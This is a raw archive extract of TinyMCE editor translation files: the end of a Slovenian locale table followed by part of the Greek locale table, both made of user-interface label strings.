"Travel and Places": "Potovanja in kraji",
"Objects": "Predmeti",
"Flags": "Zastave",
"Characters": "Znaki",
"Characters (no spaces)": "Znaki (brez presledkov)",
"Error: Form submit field collision.": "Napaka: navzkri\u017eje polja za oddajo obrazca",
"Error: No form element found.": "Napaka: elementa oblike ni mogo\u010de najti",
"Update": "Posodobitev",
"Color swatch": "Vzorec barv",
"Turquoise": "Turkizna",
"Green": "Zelena",
"Blue": "Modra",
"Purple": "\u0160krlatna",
"Navy Blue": "Mornarsko modra",
"Dark Turquoise": "Temno turkizna",
"Dark Green": "Temno zelena",
"Medium Blue": "Srednje modra",
"Medium Purple": "Srednje \u0161krlatna",
"Midnight Blue": "Polno\u010dno modra",
"Yellow": "Rumena",
"Orange": "Oran\u017ena",
"Red": "Rde\u010da",
"Light Gray": "Svetlo siva",
"Gray": "Siva",
"Dark Yellow": "Temno rumena",
"Dark Orange": "Temno oran\u017ena",
"Dark Red": "Temno rde\u010da",
"Medium Gray": "Srednje siva",
"Dark Gray": "Temno siva",
"Black": "\u010crna",
"White": "Bela",
"Switch to or from fullscreen mode": "Preklopi v ali iz celozaslonskega na\u010dina",
"Open help dialog": "Odpri pogovorno okno za pomo\u010d",
"history": "zgodovina",
"styles": "slogi",
"formatting": "oblikovanje",
"alignment": "poravnava",
"indentation": "zamik",
"permanent pen": "permanentno pisalo",
"comments": "komentarji",
"Anchor": "Zaznamek",
"Special character": "Posebni znaki",
"Color": "Barva",
"Emoticons": "Sme\u0161ki",
"Document properties": "Lastnosti dokumenta",
"Image": "Slika",
"Insert link": "Vstavi povezavo",
"Link": "Povezava",
"Target": "Cilj",
"Media": "Medij",
"Poster": "Poster",
"Print": "Natisni",
"Whole words": "Cele besede",
"Find and replace": "Poi\u0161\u010di in zamenjaj",
"Prev": "Nazaj",
"Spellcheck": "Preverjanje \u010drkovanja",
"Caption": "Naslov",
"Insert template": "Vstavi predlogo"
});PK
h�\���$;q;qprogram/js/tinymce/langs/el.jsnu�[���tinymce.addI18n('el',{
"Redo": "\u0395\u03c0\u03b1\u03bd\u03ac\u03bb\u03b7\u03c8\u03b7",
"Undo": "\u0391\u03bd\u03b1\u03af\u03c1\u03b5\u03c3\u03b7",
"Cut": "\u0391\u03c0\u03bf\u03ba\u03bf\u03c0\u03ae",
"Copy": "\u0391\u03bd\u03c4\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae",
"Paste": "\u0395\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7",
"Select all": "\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ae \u03cc\u03bb\u03c9\u03bd",
"New document": "\u039d\u03ad\u03bf \u03ad\u03b3\u03b3\u03c1\u03b1\u03c6\u03bf",
"Ok": "\u0395\u03bd\u03c4\u03ac\u03be\u03b5\u03b9",
"Cancel": "\u0391\u03ba\u03cd\u03c1\u03c9\u03c3\u03b7",
"Visual aids": "O\u03c0\u03c4\u03b9\u03ba\u03ac \u03b2\u03bf\u03b7\u03b8\u03ae\u03bc\u03b1\u03c4\u03b1 ",
"Bold": "\u0388\u03bd\u03c4\u03bf\u03bd\u03b7",
"Italic": "\u03a0\u03bb\u03ac\u03b3\u03b9\u03b1",
"Underline": "\u03a5\u03c0\u03bf\u03b3\u03c1\u03ac\u03bc\u03bc\u03b9\u03c3\u03b7",
"Strikethrough": "\u0394\u03b9\u03b1\u03ba\u03c1\u03b9\u03c4\u03ae \u03b4\u03b9\u03b1\u03b3\u03c1\u03b1\u03c6\u03ae",
"Superscript": "\u0395\u03ba\u03b8\u03ad\u03c4\u03b7\u03c2",
"Subscript": "\u0394\u03b5\u03af\u03ba\u03c4\u03b7\u03c2",
"Clear formatting": "\u0391\u03c0\u03b1\u03bb\u03bf\u03b9\u03c6\u03ae \u03bc\u03bf\u03c1\u03c6\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7\u03c2",
"Align left": "\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7 \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac",
"Align center": "\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7 \u03c3\u03c4\u03bf \u03ba\u03ad\u03bd\u03c4\u03c1\u03bf",
"Align right": "\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7 \u03b4\u03b5\u03be\u03b9\u03ac",
"Justify": "\u03a0\u03bb\u03ae\u03c1\u03b7\u03c2 \u03c3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7",
"Bullet list": "\u039b\u03af\u03c3\u03c4\u03b1 \u03bc\u03b5 \u03ba\u03bf\u03c5\u03ba\u03ba\u03af\u03b4\u03b5\u03c2",
"Numbered list": "\u0391\u03c1\u03b9\u03b8\u03bc\u03b7\u03bc\u03ad\u03bd\u03b7 \u03bb\u03af\u03c3\u03c4\u03b1",
"Decrease indent": "\u039c\u03b5\u03af\u03c9\u03c3\u03b7 \u03b5\u03c3\u03bf\u03c7\u03ae\u03c2",
"Increase indent": "\u0391\u03cd\u03be\u03b7\u03c3\u03b7 \u03b5\u03c3\u03bf\u03c7\u03ae\u03c2",
"Close": "\u039a\u03bb\u03b5\u03af\u03c3\u03b9\u03bc\u03bf",
"Formats": "\u039c\u03bf\u03c1\u03c6\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u039f \u03c0\u03b5\u03c1\u03b9\u03b7\u03b3\u03b7\u03c4\u03ae\u03c2 \u03c3\u03b1\u03c2 \u03b4\u03b5\u03bd \u03c5\u03c0\u03bf\u03c3\u03c4\u03b7\u03c1\u03af\u03b6\u03b5\u03b9 \u03ac\u03bc\u03b5\u03c3\u03b7 \u03c0\u03c1\u03cc\u03c3\u03b2\u03b1\u03c3\u03b7 \u03c3\u03c4\u03bf \u03c0\u03c1\u03cc\u03c7\u03b5\u03b9\u03c1\u03bf. \u03a0\u03b1\u03c1\u03b1\u03ba\u03b1\u03bb\u03ce \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03c4\u03b5 \u03c4\u03b9\u03c2 \u03c3\u03c5\u03bd\u03c4\u03bf\u03bc\u03b5\u03cd\u03c3\u03b5\u03b9\u03c2 \u03c0\u03bb\u03b7\u03ba\u03c4\u03c1\u03bf\u03bb\u03bf\u03b3\u03af\u03bf\u03c5 Ctrl+X\/C\/V.",
"Headers": "\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b5\u03c2",
"Header 1": "\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 1",
"Header 2": "\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 2",
"Header 3": "\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 3",
"Header 4": "\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 4",
"Header 5": "\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 5",
"Header 6": "\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 6",
"Headings": "\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b5\u03c2",
"Heading 1": "\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 1",
"Heading 2": "\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 2",
"Heading 3": "\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 3",
"Heading 4": "\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 4",
"Heading 5": "\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 5",
"Heading 6": "\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 6",
"Preformatted": "\u03a0\u03c1\u03bf\u03b4\u03b9\u03b1\u03bc\u03bf\u03c1\u03c6\u03c9\u03bc\u03ad\u03bd\u03bf",
"Div": "Div",
"Pre": "Pre",
"Code": "\u039a\u03ce\u03b4\u03b9\u03ba\u03b1\u03c2",
"Paragraph": "\u03a0\u03b1\u03c1\u03ac\u03b3\u03c1\u03b1\u03c6\u03bf\u03c2",
"Blockquote": "\u03a0\u03b5\u03c1\u03b9\u03bf\u03c7\u03ae \u03c0\u03b1\u03c1\u03ac\u03b8\u03b5\u03c3\u03b7\u03c2",
"Inline": "\u0395\u03bd\u03c3\u03c9\u03bc\u03b1\u03c4\u03c9\u03bc\u03ad\u03bd\u03b7",
"Blocks": "\u03a4\u03bc\u03ae\u03bc\u03b1\u03c4\u03b1",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u0397 \u03b5\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7 \u03b5\u03af\u03bd\u03b1\u03b9 \u03c4\u03ce\u03c1\u03b1 \u03c3\u03b5 \u03bb\u03b5\u03b9\u03c4\u03bf\u03c5\u03c1\u03b3\u03af\u03b1 \u03b1\u03c0\u03bb\u03bf\u03cd \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5. \u03a4\u03b1 \u03c0\u03b5\u03c1\u03b9\u03b5\u03c7\u03cc\u03bc\u03b5\u03bd\u03b1 \u03bc\u03b9\u03b1\u03c2 \u03b5\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7\u03c2 \u03b8\u03b1 \u03b5\u03c0\u03b9\u03ba\u03bf\u03bb\u03bb\u03bf\u03cd\u03bd\u03c4\u03b1\u03b9 \u03c9\u03c2 \u03b1\u03c0\u03bb\u03cc \u03ba\u03b5\u03af\u03bc\u03b5\u03bd\u03bf \u03cc\u03c3\u03bf \u03b7 \u03bb\u03b5\u03b9\u03c4\u03bf\u03c5\u03c1\u03b3\u03af\u03b1 \u03b1\u03c5\u03c4\u03ae \u03c0\u03b1\u03c1\u03b1\u03bc\u03ad\u03bd\u03b5\u03b9 \u03b5\u03bd\u03b5\u03c1\u03b3\u03ae.",
"Font Family": "\u0393\u03c1\u03b1\u03bc\u03bc\u03b1\u03c4\u03bf\u03c3\u03b5\u03b9\u03c1\u03ac",
"Font Sizes": "\u039c\u03ad\u03b3\u03b5\u03b8\u03bf\u03c2",
"Class": "\u039a\u03bb\u03ac\u03c3\u03b7",
"Browse for an image": "\u0391\u03bd\u03b1\u03b6\u03b7\u03c4\u03ae\u03c3\u03c4\u03b5 \u03bc\u03b9\u03b1 \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1",
"OR": "\u0389",
"Drop an image here": "\u03a1\u03af\u03be\u03c4\u03b5 \u03bc\u03b9\u03b1 \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1 \u03b5\u03b4\u03ce",
"Upload": "\u039c\u03b5\u03c4\u03b1\u03c6\u03cc\u03c1\u03c4\u03c9\u03c3\u03b7",
"Block": "\u03a4\u03bc\u03ae\u03bc\u03b1",
"Align": "\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7",
"Default": "\u03a0\u03c1\u03bf\u03ba\u03b1\u03b8\u03bf\u03c1\u03b9\u03c3\u03bc\u03ad\u03bd\u03bf",
"Circle": "\u039a\u03cd\u03ba\u03bb\u03bf\u03c2",
"Disc": "\u0394\u03af\u03c3\u03ba\u03bf\u03c2",
"Square": "\u03a4\u03b5\u03c4\u03c1\u03ac\u03b3\u03c9\u03bd\u03bf",
"Lower Alpha": "\u03a0\u03b5\u03b6\u03ac \u03bb\u03b1\u03c4\u03b9\u03bd\u03b9\u03ba\u03ac",
"Lower Greek": "\u03a0\u03b5\u03b6\u03ac \u03b5\u03bb\u03bb\u03b7\u03bd\u03b9\u03ba\u03ac",
"Lower Roman": "\u03a0\u03b5\u03b6\u03ac \u03c1\u03c9\u03bc\u03b1\u03ca\u03ba\u03ac",
"Upper Alpha": "\u039a\u03b5\u03c6\u03b1\u03bb\u03b1\u03af\u03b1 \u03bb\u03b1\u03c4\u03b9\u03bd\u03b9\u03ba\u03ac",
"Upper Roman": "\u039a\u03b5\u03c6\u03b1\u03bb\u03b1\u03af\u03b1 \u03c1\u03c9\u03bc\u03b1\u03ca\u03ba\u03ac",
"Anchor": "\u0391\u03b3\u03ba\u03cd\u03c1\u03c9\u03c3\u03b7",
"Name": "\u038c\u03bd\u03bf\u03bc\u03b1",
"Id": "\u039a\u03c9\u03b4\u03b9\u03ba\u03cc\u03c2",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "\u039f \u039a\u03c9\u03b4\u03b9\u03ba\u03cc\u03c2 \u03c0\u03c1\u03ad\u03c0\u03b5\u03b9 \u03bd\u03b1 \u03b1\u03c1\u03c7\u03af\u03b6\u03b5\u03b9 \u03bc\u03b5 \u03ad\u03bd\u03b1 \u03b3\u03c1\u03ac\u03bc\u03bc\u03b1, \u03b1\u03ba\u03bf\u03bb\u03bf\u03c5\u03b8\u03bf\u03cd\u03bc\u03b5\u03bd\u03bf \u03bc\u03cc\u03bd\u03bf \u03b1\u03c0\u03cc \u03b3\u03c1\u03ac\u03bc\u03bc\u03b1\u03c4\u03b1, \u03b1\u03c1\u03b9\u03b8\u03bc\u03bf\u03cd\u03c2, \u03c0\u03b1\u03cd\u03bb\u03b5\u03c2, \u03c4\u03b5\u03bb\u03b5\u03af\u03b5\u03c2, \u03ac\u03bd\u03c9 \u03c4\u03b5\u03bb\u03b5\u03af\u03b1 \u03ae \u03c5\u03c0\u03bf\u03b3\u03c1\u03b1\u03bc\u03bc\u03af\u03c3\u03b5\u03b9\u03c2.",
"You have unsaved changes are you sure you want to navigate away?": "\u0388\u03c7\u03b5\u03c4\u03b5 \u03bc\u03b7 \u03b1\u03c0\u03bf\u03b8\u03b7\u03ba\u03b5\u03c5\u03bc\u03ad\u03bd\u03b5\u03c2 \u03b1\u03bb\u03bb\u03b1\u03b3\u03ad\u03c2. \u0395\u03af\u03c3\u03c4\u03b5 \u03b2\u03ad\u03b2\u03b1\u03b9\u03bf\u03b9 \u03cc\u03c4\u03b9 \u03b8\u03ad\u03bb\u03b5\u03c4\u03b5 \u03bd\u03b1 \u03c6\u03cd\u03b3\u03b5\u03c4\u03b5 \u03b1\u03c0\u03cc \u03c4\u03b7\u03bd \u03c3\u03b5\u03bb\u03af\u03b4\u03b1;",
"Restore last draft": "\u0395\u03c0\u03b1\u03bd\u03b1\u03c6\u03bf\u03c1\u03ac \u03c4\u03b5\u03bb\u03b5\u03c5\u03c4\u03b1\u03af\u03bf\u03c5 \u03c3\u03c7\u03b5\u03b4\u03af\u03bf\u03c5",
"Special character": "\u0395\u03b9\u03b4\u03b9\u03ba\u03cc\u03c2 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b1\u03c2",
"Source code": "\u03a0\u03b7\u03b3\u03b1\u03af\u03bf\u03c2 \u03ba\u03ce\u03b4\u03b9\u03ba\u03b1\u03c2",
"Insert\/Edit code sample": "\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae\/\u0395\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03b4\u03b5\u03af\u03b3\u03bc\u03b1\u03c4\u03bf\u03c2 \u03ba\u03ce\u03b4\u03b9\u03ba\u03b1",
"Language": "\u0393\u03bb\u03ce\u03c3\u03c3\u03b1",
"Code sample": "\u0394\u03b5\u03af\u03b3\u03bc\u03b1 \u039a\u03ce\u03b4\u03b9\u03ba\u03b1",
"Color": "\u03a7\u03c1\u03ce\u03bc\u03b1",
"R": "\u03ba",
"G": "\u03a0",
"B": "\u039c",
"Left to right": "\u0391\u03c0\u03cc \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac \u03c0\u03c1\u03bf\u03c2 \u03c4\u03b1 \u03b4\u03b5\u03be\u03b9\u03ac",
"Right to left": "\u0391\u03c0\u03cc \u03b4\u03b5\u03be\u03b9\u03ac \u03c0\u03c1\u03bf\u03c2 \u03c4\u03b1 \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac",
"Emoticons": "\u03a6\u03b1\u03c4\u03c3\u03bf\u03cd\u03bb\u03b5\u03c2",
"Document properties": "\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03b5\u03b3\u03b3\u03c1\u03ac\u03c6\u03bf\u03c5",
"Title": "\u03a4\u03af\u03c4\u03bb\u03bf\u03c2",
"Keywords": "\u039b\u03ad\u03be\u03b5\u03b9\u03c2 \u03ba\u03bb\u03b5\u03b9\u03b4\u03b9\u03ac",
"Description": "\u03a0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae",
"Robots": "\u03a1\u03bf\u03bc\u03c0\u03cc\u03c4",
"Author": "\u03a3\u03c5\u03bd\u03c4\u03ac\u03ba\u03c4\u03b7\u03c2",
"Encoding": "\u039a\u03c9\u03b4\u03b9\u03ba\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7",
"Fullscreen": "\u03a0\u03bb\u03ae\u03c1\u03b7\u03c2 \u03bf\u03b8\u03cc\u03bd\u03b7",
"Action": "\u0395\u03bd\u03ad\u03c1\u03b3\u03b5\u03b9\u03b1",
"Shortcut": "\u03a3\u03c5\u03bd\u03c4\u03cc\u03bc\u03b5\u03c5\u03c3\u03b7",
"Help": "\u0392\u03bf\u03ae\u03b8\u03b5\u03b9\u03b1",
"Address": "\u0394\u03b9\u03b5\u03cd\u03b8\u03c5\u03bd\u03c3\u03b7",
"Focus to menubar": "\u0395\u03c3\u03c4\u03af\u03b1\u03c3\u03b7 \u03c3\u03c4\u03bf \u03bc\u03b5\u03bd\u03bf\u03cd",
"Focus to toolbar": "\u0395\u03c3\u03c4\u03af\u03b1\u03c3\u03b7 \u03c3\u03c4\u03b7 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae \u03b5\u03c1\u03b3\u03b1\u03bb\u03b5\u03af\u03c9\u03bd",
"Focus to element path": "\u0395\u03c3\u03c4\u03af\u03b1\u03c3\u03b7 \u03c3\u03c4\u03b7 \u03b4\u03b9\u03b1\u03b4\u03c1\u03bf\u03bc\u03ae \u03c3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf\u03c5",
"Focus to contextual toolbar": "\u0395\u03c3\u03c4\u03af\u03b1\u03c3\u03b7 \u03c3\u03c4\u03b7 \u03c3\u03c5\u03bd\u03b1\u03c6\u03ae \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae \u03b5\u03c1\u03b3\u03b1\u03bb\u03b5\u03af\u03c9\u03bd",
"Insert link (if link plugin activated)": "\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5 (\u03b5\u03ac\u03bd \u03b5\u03af\u03bd\u03b1\u03b9 \u03b5\u03bd\u03b5\u03c1\u03b3\u03bf\u03c0\u03bf\u03b9\u03b7\u03bc\u03ad\u03bd\u03bf \u03c4\u03bf \u03c0\u03c1\u03cc\u03c3\u03b8\u03b5\u03c4\u03bf \u03c4\u03bf\u03c5 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5)",
"Save (if save plugin activated)": "\u0391\u03c0\u03bf\u03b8\u03ae\u03ba\u03b5\u03c5\u03c3\u03b7 (\u03b5\u03ac\u03bd \u03b5\u03af\u03bd\u03b1\u03b9 \u03b5\u03bd\u03b5\u03c1\u03b3\u03bf\u03c0\u03bf\u03b9\u03b7\u03bc\u03ad\u03bd\u03bf \u03c4\u03bf \u03c0\u03c1\u03cc\u03c3\u03b8\u03b5\u03c4\u03bf \u03c4\u03b7\u03c2 \u03b1\u03c0\u03bf\u03b8\u03ae\u03ba\u03b5\u03c5\u03c3\u03b7\u03c2)",
"Find (if searchreplace plugin activated)": "\u0395\u03cd\u03c1\u03b5\u03c3\u03b7 (\u03b5\u03ac\u03bd \u03b5\u03af\u03bd\u03b1\u03b9 \u03b5\u03bd\u03b5\u03c1\u03b3\u03bf\u03c0\u03bf\u03b9\u03b7\u03bc\u03ad\u03bd\u03bf \u03c4\u03bf \u03c0\u03c1\u03cc\u03c3\u03b8\u03b5\u03c4\u03bf \u03c4\u03b7\u03c2 \u03b1\u03bd\u03b1\u03b6\u03ae\u03c4\u03b7\u03c3\u03b7\u03c2)",
"Plugins installed ({0}):": "\u0395\u03b3\u03ba\u03b1\u03c4\u03b5\u03c3\u03c4\u03b7\u03bc\u03ad\u03bd\u03b1 \u03c0\u03c1\u03cc\u03c3\u03b8\u03b5\u03c4\u03b1 ({0}):",
"Premium plugins:": "\u03a0\u03c1\u03cc\u03c3\u03b8\u03b5\u03c4\u03b1 \u03c5\u03c8\u03b7\u03bb\u03ae\u03c2 \u03c0\u03bf\u03b9\u03cc\u03c4\u03b7\u03c4\u03b1\u03c2:",
"Learn more...": "\u039c\u03ac\u03b8\u03b5\u03c4\u03b5 \u03c0\u03b5\u03c1\u03b9\u03c3\u03c3\u03cc\u03c4\u03b5\u03c1\u03b1...",
"You are using {0}": "\u03a7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03b5\u03af\u03c4\u03b5 {0}",
"Plugins": "\u03a0\u03c1\u03cc\u03c3\u03b8\u03b5\u03c4\u03b1",
"Handy Shortcuts": "\u03a7\u03c1\u03ae\u03c3\u03b9\u03bc\u03b5\u03c2 \u03c3\u03c5\u03bd\u03c4\u03bf\u03bc\u03b5\u03cd\u03c3\u03b5\u03b9\u03c2",
"Horizontal line": "\u039f\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03b1 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae",
"Insert\/edit image": "\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae\/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2",
"Image description": "\u03a0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2",
"Source": "\u03a0\u03b7\u03b3\u03ae",
"Dimensions": "\u0394\u03b9\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2",
"Constrain proportions": "\u03a0\u03b5\u03c1\u03b9\u03bf\u03c1\u03b9\u03c3\u03bc\u03cc\u03c2 \u03b1\u03bd\u03b1\u03bb\u03bf\u03b3\u03b9\u03ce\u03bd",
"General": "\u0393\u03b5\u03bd\u03b9\u03ba\u03ac",
"Advanced": "\u0393\u03b9\u03b1 \u03a0\u03c1\u03bf\u03c7\u03c9\u03c1\u03b7\u03bc\u03ad\u03bd\u03bf\u03c5\u03c2",
"Style": "\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7",
"Vertical space": "\u039a\u03ac\u03b8\u03b5\u03c4\u03bf \u03b4\u03b9\u03ac\u03c3\u03c4\u03b7\u03bc\u03b1",
"Horizontal space": "\u039f\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03bf \u03b4\u03b9\u03ac\u03c3\u03c4\u03b7\u03bc\u03b1",
"Border": "\u03a0\u03bb\u03b1\u03af\u03c3\u03b9\u03bf",
"Insert image": "\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2",
"Image": "\u0395\u03b9\u03ba\u03cc\u03bd\u03b1",
"Image list": "\u039b\u03af\u03c3\u03c4\u03b1 \u03b5\u03b9\u03ba\u03cc\u03bd\u03c9\u03bd",
"Rotate counterclockwise": "\u03a0\u03b5\u03c1\u03b9\u03c3\u03c4\u03c1\u03bf\u03c6\u03ae \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03cc\u03c3\u03c4\u03c1\u03bf\u03c6\u03b1",
"Rotate clockwise": "\u03a0\u03b5\u03c1\u03b9\u03c3\u03c4\u03c1\u03bf\u03c6\u03ae \u03b4\u03b5\u03be\u03b9\u03cc\u03c3\u03c4\u03c1\u03bf\u03c6\u03b1",
"Flip vertically": "\u0391\u03bd\u03b1\u03c3\u03c4\u03c1\u03bf\u03c6\u03ae \u03ba\u03b1\u03b8\u03ad\u03c4\u03c9\u03c2",
"Flip horizontally": "\u0391\u03bd\u03b1\u03c3\u03c4\u03c1\u03bf\u03c6\u03ae \u03bf\u03c1\u03b9\u03b6\u03bf\u03bd\u03c4\u03af\u03c9\u03c2",
"Edit image": "\u0395\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2",
"Image options": "\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ad\u03c2 \u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2",
"Zoom in": "\u039c\u03b5\u03b3\u03ad\u03b8\u03c5\u03bd\u03c3\u03b7",
"Zoom out": "\u03a3\u03bc\u03af\u03ba\u03c1\u03c5\u03bd\u03c3\u03b7",
"Crop": "\u03a0\u03b5\u03c1\u03b9\u03ba\u03bf\u03c0\u03ae",
"Resize": "\u0391\u03bb\u03bb\u03b1\u03b3\u03ae \u03bc\u03b5\u03b3\u03ad\u03b8\u03bf\u03c5\u03c2",
"Orientation": "\u03a0\u03c1\u03bf\u03c3\u03b1\u03bd\u03b1\u03c4\u03bf\u03bb\u03b9\u03c3\u03bc\u03cc\u03c2",
"Brightness": "\u03a6\u03c9\u03c4\u03b5\u03b9\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1",
"Sharpen": "\u038c\u03be\u03c5\u03bd\u03c3\u03b7",
"Contrast": "\u0391\u03bd\u03c4\u03af\u03b8\u03b5\u03c3\u03b7",
"Color levels": "\u0395\u03c0\u03af\u03c0\u03b5\u03b4\u03b1 \u03c7\u03c1\u03ce\u03bc\u03b1\u03c4\u03bf\u03c2",
"Gamma": "\u0393\u03ac\u03bc\u03bc\u03b1",
"Invert": "\u0391\u03bd\u03c4\u03b9\u03c3\u03c4\u03c1\u03bf\u03c6\u03ae",
"Apply": "\u0395\u03c6\u03b1\u03c1\u03bc\u03bf\u03b3\u03ae",
"Back": "\u03a0\u03af\u03c3\u03c9",
"Insert date\/time": "\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03b7\u03bc\u03b5\u03c1\u03bf\u03bc\u03b7\u03bd\u03af\u03b1\u03c2\/\u03ce\u03c1\u03b1\u03c2",
"Date\/time": "\u0397\u03bc\u03b5\u03c1\u03bf\u03bc\u03b7\u03bd\u03af\u03b1\/\u03ce\u03c1\u03b1",
"Insert link": "\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5",
"Insert\/edit link": "\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae\/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5",
"Text to display": "\u039a\u03b5\u03af\u03bc\u03b5\u03bd\u03bf \u03b3\u03b9\u03b1 \u03b5\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7",
"Url": "URL",
"Target": "\u03a0\u03c1\u03bf\u03bf\u03c1\u03b9\u03c3\u03bc\u03cc\u03c2",
"None": "\u039a\u03b1\u03bc\u03af\u03b1",
"New window": "\u039d\u03ad\u03bf \u03c0\u03b1\u03c1\u03ac\u03b8\u03c5\u03c1\u03bf",
"Remove link": "\u0391\u03c6\u03b1\u03af\u03c1\u03b5\u03c3\u03b7 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5",
"Anchors": "\u0386\u03b3\u03ba\u03c5\u03c1\u03b5\u03c2",
"Link": "\u03a3\u03cd\u03bd\u03b4\u03b5\u03c3\u03bc\u03bf\u03c2",
"Paste or type a link": "\u0395\u03c0\u03b9\u03ba\u03bf\u03bb\u03bb\u03ae\u03c3\u03c4\u03b5 \u03ae \u03c0\u03bb\u03b7\u03ba\u03c4\u03c1\u03bf\u03bb\u03bf\u03b3\u03ae\u03c3\u03c4\u03b5 \u03ad\u03bd\u03b1 \u03c3\u03cd\u03bd\u03b4\u03b5\u03c3\u03bc\u03bf",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u0397 \u03b4\u03b9\u03b5\u03cd\u03b8\u03c5\u03bd\u03c3\u03b7 URL \u03c0\u03bf\u03c5 \u03b5\u03b9\u03c3\u03ac\u03c7\u03b8\u03b7\u03ba\u03b5 \u03c0\u03b9\u03b8\u03b1\u03bd\u03ce\u03c2 \u03b5\u03af\u03bd\u03b1\u03b9 \u03b4\u03b9\u03b5\u03cd\u03b8\u03c5\u03bd\u03c3\u03b7 email. \u0398\u03ad\u03bb\u03b5\u03c4\u03b5 \u03bd\u03b1 \u03c0\u03c1\u03bf\u03c3\u03b8\u03ad\u03c3\u03b5\u03c4\u03b5 \u03c4\u03bf \u03b1\u03c0\u03b1\u03b9\u03c4\u03bf\u03cd\u03bc\u03b5\u03bd\u03bf \u03c0\u03c1\u03cc\u03b8\u03b7\u03bc\u03b1 mailto:;",
